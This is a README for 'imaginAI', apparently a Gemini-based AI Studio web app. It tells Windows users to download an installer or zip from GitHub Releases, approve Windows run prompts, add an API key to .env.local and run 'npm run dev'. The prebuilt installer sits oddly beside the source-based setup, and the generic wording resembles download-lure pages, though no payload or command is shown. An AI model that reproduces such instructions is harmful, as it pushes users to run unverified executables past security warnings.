imaginAI：可在 Windows PC 本地运行的 AI Studio 桌面应用

🚀 What is imaginAI?

imaginAI is a desktop-ready AI app you can run on your Windows PC. It helps you open and use an AI studio setup from a simple download. You do not need to know how to code to get started.

Use it to:

open the app on your computer
connect your Gemini API key
run the local app from your PC
test and use your AI studio workflow

📥 Download

Visit this page to download the latest release:

Download imaginAI from GitHub Releases

Look for the newest release at the top of the page. If there are multiple files, download the Windows file that matches your system.

🪟 System Requirements

Before you install imaginAI, make sure your PC has:

Windows 10 or Windows 11
An internet connection
At least 4 GB of RAM
Enough free storage for the app and its files
A valid Gemini API key

For best results, close other large apps while you use imaginAI.

🛠️ Install imaginAI on Windows

Follow these steps in order.

Open the download page
Go to GitHub Releases
Download the Windows file
On the latest release, download the file made for Windows. If the release page shows a zip file or installer, save it to your computer.
Open the downloaded file
If you downloaded a zip file, right-click it and choose Extract All.
If you downloaded an installer, double-click it to start setup.
Allow the app to run
Windows may ask if you want to allow the file to run. Choose Yes or Run.
Finish the setup
Follow the on-screen steps until the app is installed or unpacked.

⚙️ Set up your Gemini API key

imaginAI needs your Gemini API key before it can run.

Find the .env.local file in the app folder
Open the file with Notepad
Find this line: GEMINI_API_KEY=
Add your Gemini API key after the equals sign
Save the file

Example: GEMINI_API_KEY=your_api_key_here

If you do not have a Gemini API key yet, get one from your Google AI Studio account before you start the app.

▶️ Run the app

After setup, start imaginAI with these steps:

Open the app folder
Find the file or command used to start the app
If you used the local source files, open Command Prompt in that folder
Run: npm run dev

If the app opens in your browser, leave the window open while you use it.

📌 What you can do in imaginAI

imaginAI is set up for local use, so you can:

run your AI studio app on your own PC
test changes on your machine
connect to Gemini with your own key
view your app in AI Studio
work from a simple local setup

You can also view the hosted app here:

Open in AI Studio

🧩 Common file types you may see

When you download imaginAI, you may see files like these:

.zip — a compressed folder
.exe — a Windows installer or app file
.env.local — a settings file for your API key
package.json — a project file used when running the app from source

If you are not sure which file to open, use the newest Windows release file from the releases page.

🔍 If the app does not open

Try these steps:

Check that your internet connection is working
Make sure your Gemini API key is set in .env.local
Confirm that you downloaded the latest release
Reopen the app folder and try again
Restart your computer and try once more

If you still have trouble, download the release again from the GitHub Releases page and replace the old files

📂 Folder overview

After setup, your folder may include:

the app files
the .env.local settings file
install files
package files
local build files

Keep the folder in a place you can find later, since you may need it to update settings or relaunch the app

🔄 Update imaginAI

To get the latest version:

Go to GitHub Releases
Download the newest Windows file
Replace the old files on your computer
Set your API key again if needed
Start the app

🖥️ Use the app in AI Studio

If you want to view the app in AI Studio, use this link:

View imaginAI in AI Studio

This is useful if you want to compare the local version with the hosted version or check the app layout before you run it on your PC

📄 Basic setup checklist

Download the latest Windows release
Extract or install the app
Add your Gemini API key to .env.local
Run the app with npm run dev
Open the app in your browser
Keep the app folder for later use